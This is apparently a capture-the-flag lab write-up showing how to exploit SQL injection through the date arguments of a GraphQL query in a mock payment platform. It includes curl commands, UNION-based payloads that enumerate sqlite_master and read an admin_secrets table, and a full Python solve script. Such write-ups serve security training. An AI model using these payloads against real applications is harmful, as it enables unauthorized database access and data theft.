Lab 298 — PayLedger — SQL Injection via GraphQL Date Filters
Lab 298 — PayLedger — SQL Injection via GraphQL Date Filters
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: date_parameter_injection, graphql_introspection, sqlite_schema_enumeration, union_based_sqli
Summary
Task: Payment analytics platform with GraphQL API, date filter parameters (fromDate/toDate) passed unsanitized to SQLite query. Solution: Used UNION-based SQL injection through GraphQL fromDate argument to enumerate sqlite_master schema and extract flag from admin_secrets table.
Lab 298 — PayLedger — SQL Injection via GraphQL Date Filters — Hackadvisor
Description
PayLedger is a payment analytics platform built by LedgerFlow Inc. that helps businesses track transactions, manage billing cycles, and generate financial reports. The platform features a GraphQL API powering a dashboard where merchants can view transaction history with customizable date filters, manage API keys for payment integrations, and configure webhook notifications for payment events. As a security researcher, you've been given access to a test merchant account on the PayLedger platform. Your objective is to identify and exploit a vulnerability in the application to retrieve a hidden flag stored somewhere in the system.
English summary: Express.js payment analytics platform with a GraphQL API. The transactionHistory query accepts fromDate and toDate string arguments that are directly interpolated into a SQLite SQL query without parameterization. Goal is to exploit SQL injection to find and extract a hidden flag.
Credentials: user@test.com / password123
Analysis
Initial Reconnaissance
The target is an Express.js application behind an nginx/1.25.5 reverse proxy. The homepage reveals a payment analytics platform with a GraphQL API at /graphql. A simple { __typename } query confirms the endpoint returns Query.
GraphQL Schema Discovery
Full introspection revealed 6 available queries:
| Query | Arguments | Notes |
|---|---|---|
dashboardStats | none | Dashboard statistics |
transactionHistory | fromDate: String, toDate: String | Injection target |
recentTransactions | limit: Int | Recent transactions |
apiKeys | none | API key management |
webhooks | none | Webhook configurations |
accountInfo | none | Account information |
The transactionHistory query accepts fromDate and toDate as String arguments — these are the date filters mentioned in the task title. The fact that they are plain strings (not a custom Date scalar) is a strong hint that they may be directly concatenated into SQL.
SQL Injection Confirmation
The backend query is approximately:
sql read-only • copy allowedSELECT * FROM transactions WHERE user_id = ? AND created_at >= '{fromDate}' AND created_at <= '{toDate}'
- Normal query with
fromDate: "2024-01-01",toDate: "2025-12-31"returned 28 transactions - Injecting
' OR '1'='1intofromDatereturned ALL 160 transactions — confirming boolean-based SQLi - A single quote alone returned empty results (no error message exposed), but the difference in result count confirmed the injection
Solution
Step 1: Authentication
bash read-only • copy allowedcurl -s -c cookies.txt -X POST https://TARGET/login \ -H "Content-Type: application/json" \ -d '{"email":"user@test.com","password":"password123"}'
Received session cookie connect.sid for authenticated access.
Step 2: GraphQL Introspection
bash read-only • copy allowedcurl -s -b cookies.txt https://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ __schema { queryType { fields { name args { name type { name kind ofType { name } } } } } } }"}'
Discovered transactionHistory(fromDate: String, toDate: String) — the injection target.
Step 3: Confirm SQL Injection
bash read-only • copy allowed# Normal query — 28 results curl -s -b cookies.txt https://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ transactionHistory(fromDate: \"2024-01-01\", toDate: \"2025-12-31\") { id amount description } }"}' # SQLi — 160 results (all transactions) curl -s -b cookies.txt https://TARGET/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ transactionHistory(fromDate: \"'\\'' OR '\\''1'\\''='\\''1\", toDate: \"2025-12-31\") { id amount description } }"}'
Step 4: UNION-based Schema Enumeration
Determined the query returns 7 columns (matching the Transaction GraphQL type: id, amount, description, status, payment_method, reference, created_at).
graphql read-only • copy allowed{ transactionHistory( fromDate: "' UNION SELECT 1,2,name,type,5,sql,7 FROM sqlite_master --" toDate: "x" ) { id amount description status payment_method reference created_at } }
Discovered tables:
| Table | Key Columns |
|---|---|
admin_secrets | id, key, value — target table! |
transactions | user_id, amount, description, status, payment_method, reference, created_at |
users | id, company_name, email, password, role, created_at |
api_keys | User API keys |
webhooks | Webhook configurations |
invoices | Invoice data |
| |
The admin_secrets table schema:
sql read-only • copy allowedCREATE TABLE admin_secrets ( id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT NOT NULL, value TEXT NOT NULL )
Step 5: Flag Extraction
graphql read-only • copy allowed{ transactionHistory( fromDate: "' UNION SELECT id,1,key,value,'5','6','7' FROM admin_secrets --" toDate: "x" ) { id amount description status payment_method reference created_at } }
Result: key = platform_master_key, value = FLAG{REDACTED}
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """Lab 298 — PayLedger — SQL Injection via GraphQL Date Filters""" import requests import json TARGET = "https://9b744a1e-af42-4c41-aeae-a0937495b8c3.labs.hackadvisor.io" s = requests.Session() # Step 1: Authenticate s.post(f"{TARGET}/login", json={ "email": "user@test.com", "password": "password123" }) def graphql(query): r = s.post(f"{TARGET}/graphql", json={"query": query}) return r.json() # Step 2: Confirm SQLi — boolean-based count difference normal = graphql('''{ transactionHistory(fromDate: "2024-01-01", toDate: "2025-12-31") { id } }''') sqli = graphql('''{ transactionHistory(fromDate: "' OR '1'='1", toDate: "2025-12-31") { id } }''') print(f"Normal: {len(normal['data']['transactionHistory'])} rows") print(f"SQLi: {len(sqli['data']['transactionHistory'])} rows") # Step 3: Enumerate schema via sqlite_master schema = graphql('''{ transactionHistory( fromDate: "' UNION SELECT 1,2,name,type,5,sql,7 FROM sqlite_master --" toDate: "x" ) { description status reference } }''') for row in schema['data']['transactionHistory']: if row.get('reference'): print(f"Table: {row['description']}, SQL: {row['reference']}") # Step 4: Extract flag from admin_secrets flag = graphql('''{ transactionHistory( fromDate: "' UNION SELECT id,1,key,value,'5','6','7' FROM admin_secrets --" toDate: "x" ) { description status } }''') for row in flag['data']['transactionHistory']: print(f"Key: {row['description']}, Value: {row['status']}")